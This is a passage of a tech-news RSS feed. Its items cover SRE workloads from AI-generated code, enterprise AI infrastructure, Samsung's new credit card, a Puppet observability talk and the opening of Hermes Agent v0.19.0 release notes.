<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
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<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
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<title><![CDATA[Seven years after Apple Card, Samsung leaps into fintech with its own credit card]]></title>
<description><![CDATA[The Samsung Galaxy Card is a direct mirror of the Apple Card, though it has some interesting cash-back offers that might be compelling for those deep in the Samsung ecosystem.Samsung Galaxy Card is a new fintech offering from Samsung and BarclaysIf there has ever been a tried and true strategy fr...]]></description>
<link>https://tsecurity.de/de/3682577/ios-mac-os/seven-years-after-apple-card-samsung-leaps-into-fintech-with-its-own-credit-card/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682577/ios-mac-os/seven-years-after-apple-card-samsung-leaps-into-fintech-with-its-own-credit-card/</guid>
<pubDate>Tue, 21 Jul 2026 04:40:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Samsung Galaxy Card is a direct mirror of the <a href="https://appleinsider.com/inside/apple-card" title="Apple Card" data-kpt="1">Apple Card</a>, though it has some interesting cash-back offers that might be compelling for those deep in the Samsung ecosystem.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68307-143976-IMG_4812-xl.jpg" alt="Samsung Galaxy Card is a new fintech offering from Samsung and Barclays" height="738"><br><span>Samsung Galaxy Card is a new fintech offering from Samsung and Barclays</span></div><br>If there has ever been a tried and true strategy from Samsung, its compete with what Apple offers by beating them on the spec sheet. The Samsung Galaxy Card does exactly that with some good cash back rates right out of the gate.<br><br>The company announced the Samsung Galaxy Card via a <a href="https://news.samsung.com/us/samsung-introducing-galaxy-card/">press release</a> on Monday. It's launching primarily as a virtual-first card with up to 5% cash back, issued by Barclays on the Visa network.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/seven-years-after-apple-card-samsung-leaps-into-fintech-with-its-own-credit-card?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245007?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]></title>
<description><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrast...]]></description>
<link>https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:34:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrastructure could monitor itself automatically from the moment a server boots?

This talk demonstrates a production-ready architecture that combines modern Puppet patterns with automated service discovery to create truly self-configuring observability. Using Puppet's exported resources, nodes automatically register themselves for monitoring without any manual intervention. New web servers are discovered and scraped within minutes of provisioning—no configuration updates required.

You'll learn how to implement:

 * Modern Puppet classification using CSR attributes instead of site.pp node definitions. Nodes self-classify by embedding their role directly in their TLS certificate, eliminating centralized configuration bottlenecks.
 * Hiera-based roles defined as pure YAML data instead of Puppet manifests, making roles accessible to non-Puppet experts and enabling templated role generation.
 * Automated service discovery through Puppet's exported resources. Each node exports its monitoring endpoints to PuppetDB, which a lightweight Python script queries to generate Prometheus file-based service discovery targets. Zero manual configuration required.
 * Zero-trust security using Caddy as an mTLS reverse proxy. All metrics traffic is secured with mutual TLS using Puppet's existing CA infrastructure—no additional certificate management needed.
 * Universal observability with node_exporter on every server and application-specific exporters (apache_exporter, etc.) automatically configured based on the node's role.

The architecture scales from a handful of servers to thousands, works seamlessly with cloud auto-scaling and provides complete visibility into both system and application metrics. Attendees will observe a demo with working code, container configurations and a deep understanding of how to build self-managing infrastructure that doesn't require operator intervention to stay observable.

https://corporate-gadfly.github.io/zero-trust-observability/#/title-slide
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]></title>
<description><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrast...]]></description>
<link>https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:18:38 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrastructure could monitor itself automatically from the moment a server boots?

This talk demonstrates a production-ready architecture that combines modern Puppet patterns with automated service discovery to create truly self-configuring observability. Using Puppet's exported resources, nodes automatically register themselves for monitoring without any manual intervention. New web servers are discovered and scraped within minutes of provisioning—no configuration updates required.

You'll learn how to implement:

 * Modern Puppet classification using CSR attributes instead of site.pp node definitions. Nodes self-classify by embedding their role directly in their TLS certificate, eliminating centralized configuration bottlenecks.
 * Hiera-based roles defined as pure YAML data instead of Puppet manifests, making roles accessible to non-Puppet experts and enabling templated role generation.
 * Automated service discovery through Puppet's exported resources. Each node exports its monitoring endpoints to PuppetDB, which a lightweight Python script queries to generate Prometheus file-based service discovery targets. Zero manual configuration required.
 * Zero-trust security using Caddy as an mTLS reverse proxy. All metrics traffic is secured with mutual TLS using Puppet's existing CA infrastructure—no additional certificate management needed.
 * Universal observability with node_exporter on every server and application-specific exporters (apache_exporter, etc.) automatically configured based on the node's role.

The architecture scales from a handful of servers to thousands, works seamlessly with cloud auto-scaling and provides complete visibility into both system and application metrics. Attendees will observe a demo with working code, container configurations and a deep understanding of how to build self-managing infrastructure that doesn't require operator intervention to stay observable.

https://corporate-gadfly.github.io/zero-trust-observability/#/title-slide
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
